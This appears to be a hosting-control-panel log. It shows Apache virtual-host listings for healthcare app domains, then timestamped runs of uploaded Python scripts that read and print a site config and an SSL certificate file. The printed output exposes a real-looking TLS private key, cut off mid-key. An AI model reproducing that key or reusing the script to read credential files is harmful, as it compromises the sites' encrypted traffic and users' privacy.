port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:03:20:
PUT: /tmp/pkp390660
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_preview_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:03:20:
chmod 755 /tmp/pkp390660; /tmp/pkp390660; rm /tmp/pkp390660
2025-08-30 06:03:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 1436
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-30 06:03:20:
PUT: /tmp/pkp847431
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:03:20:
chmod 755 /tmp/pkp847431; /tmp/pkp847431; rm /tmp/pkp847431
2025-08-30 06:03:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt 5369
b2:05:81:c4:b0:b3:68:74:04:74:6b:b4:c4:3d:c2:68
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBm1vnHpHvWSUyeUb2L9nq79bMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDQ4WhcNMjUxMTI4MDUwNDQ3WjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMs2PPsQ6EputIqXpEFrZ1skRGjHZT5jKIYz7LAOsgJ0psa6pL5n
3iaiBMcy9ebDq52AgQTpSvEY0tbBvB2ZGw3t2a/B6GDCtasXDKRSAXqjH2hRVy98
hgnQh38m29RhBlJ6lWphBj0TVs179jV3Ax3Chi9nqBxRT8Gy9HLJzOiWY8oH1h8y
SSAzu8XHPJ0hfYYLn8wuNB6n1E5DVgXf/6uv7EFhvluxx1jkwaaNdj8PRkM74s8H
2w1oqa23/Y94givQ/3fdtMSfJHPk4AW9penzNwKsibmbfeK0L4/gFLIAvEMoqbpi
4ehFKnoLWHjLBQ1TAEWBPIDQOo9llu8UG/0CAwEAAaOCAicwggIjMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUCqfm+4nIdVpCELXT6IPfauWrguMwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzkyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mPmSt+4AAAQDAEcwRQIgB1Ha8JEtHMmDoIj/w9JZ4KHTHcz4PZEtj2gEIn7gu/0C
IQDzLVWJZh9v8UhdSif/KnvB2kUMIaisamuRMp0bj3eSIAB2ABLxTjS9U3JMhAYZ
w48/ehP457Vih4icbTAFhOvlhiY6AAABmPmSt+wAAAQDAEcwRQIgDJ6DSnADzhxQ
pwDHM9Gkbj5h8fdgVvQwhQgFVlkgY1YCIQC6bOH/x9Y05IAggYweaIKFyJ/pcOsg
abAcX4pjcStVNjANBgkqhkiG9w0BAQsFAAOCAQEAgr/Sa0UwfN7u+HEo51H3lHmD
xuCE+wCrZAGubn+C94lA69S/KSGzSPP/JLjYogVP3b6n+FRaAPHjN16sdVTCFHAm
Be2rS8pzqv9fJkF51cl7Hpinqmelo0+B3kVRwmY9Ton3pvdS291lWQ8XHSLul2cj
QGvwgdjCarAA4wc0g82+i3piUgbHksleApL0ZkiUkJX74Abv2jCe9eyhBI4LnWn1
Bzd5qRFJaXF4ZbRHWvRhsRnc+zL27br4PPb0cG7FtBqY6G4/TRaBwjLDaKsZcMdK
Xhv2TKCOdW9A751KWwhULuFBnG+SU4EN6OtanheNIK1kDGpavHm4HXQUYZLIJQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLNjz7EOhKbrSK
l6RBa2dbJERox2U+YyiGM+ywDrICdKbGuqS+Z94mogTHMvXmw6udgIEE6UrxGNLW
wbwdmRsN7dmvwehgwrWrFwykUgF6ox9oUVcvfIYJ0Id/JtvUYQZSepVqYQY9E1bN
e/Y1dwMdwoYvZ6gcUU/BsvRyyczolmPKB9YfMkkgM7vFxzydIX2GC5/MLjQep9RO
Q1YF3/+rr+xBYb5bscdY5MGmjXY/D0ZDO+LPB9sNaKmtt/2PeIIr0P933bTEnyRz
5OAFvaXp8zcCrIm5m33itC+P4BSyALxDKKm6YuHoRSp6C1h4ywUNUwBFgTyA0DqP
ZZbvFBv9AgMBAAECggEALFPwiXPuuA3eJD1f/0VGjoMiyRh15V4MAPpiryUFf7Oi
jcc5GK/frd253RooueYFEZ5uhnu9dUpM87vfJTW4yRkRW12ZK0JODrxAbbfVysK6
ny7fLeSj+JAcfogje/iOQH+tCD+R9NC7Jqfb1V3YuC0uyDh8W3EBTOeUm1WZ9UI1
dKxrytx/GDqPOeyI7s2f52hONQCpeax9aIrYYODXcbg0l2IkhdNV0r7D82CjBNPb
pnftVgVpBrin77wSTkXBOnDDJy5fNvC501BjW7rlvuB+ni0OyueQjBXC3rNCSM/G
H8tiwihfS4qXixTixbEmCzpcIuTP8iav3YCZykxroQKBgQDu88v22t8jhcwiYPpm
vkXabVETgpHmcccLIYD2GHrlAFnFZZZ/N8I+ImTCq/O5YGIG3auqn6PcKXq0ha53
XOWWsj+REL4XQvGDsEc8optsUzJ2KYNBBJaknjxHEAovXB3dK7F4DtRTBKjPNhRy
kPovoMv+dTwMT+doyfx/U5ViGwKBgQDZta5TdgedkVmR3TY4qHI5I8F3kEGmKoz/
PF6mxdWOFqRmeNN8T8ZbHlnFEJR3StsUzssHqGS6oEg7xmhS3p/SZsQLRSTxyirS
HYqb3ThClRC8SbIBXaljlpW5bmRGiLSeWOgtj0d6C/m0abR3Hy+aUuCN0x5Qle4V
dOROR5QbxwKBgQCFBA3sctZ4Lcj+8kEx5IV6HBRf6fVR9NA6cAIb/HCc/d77NZvb
YaytbfPtMk9QSEkJTWh8aLWMn0KBL1F5fKsJglxEYq+Ov2M2TXC6XkJqwL18bYt1
LBq3tKYVYOZqirrNHb+C965WMGfQQWiMhgvfa4FjOtucdvZ4rMf0ERE9NQKBgBoE
dEjVGiPicunTnd83gi8B7uTzAGVzQFZgSI91pQfN/OeiGOQKRJIvFltOl++JqpTa
AblwjlkfPoKmO2Fr6X2jelo+cSPUHTnu/dmSnl6WoeFejT9Miim0nUADyUgEnlEu
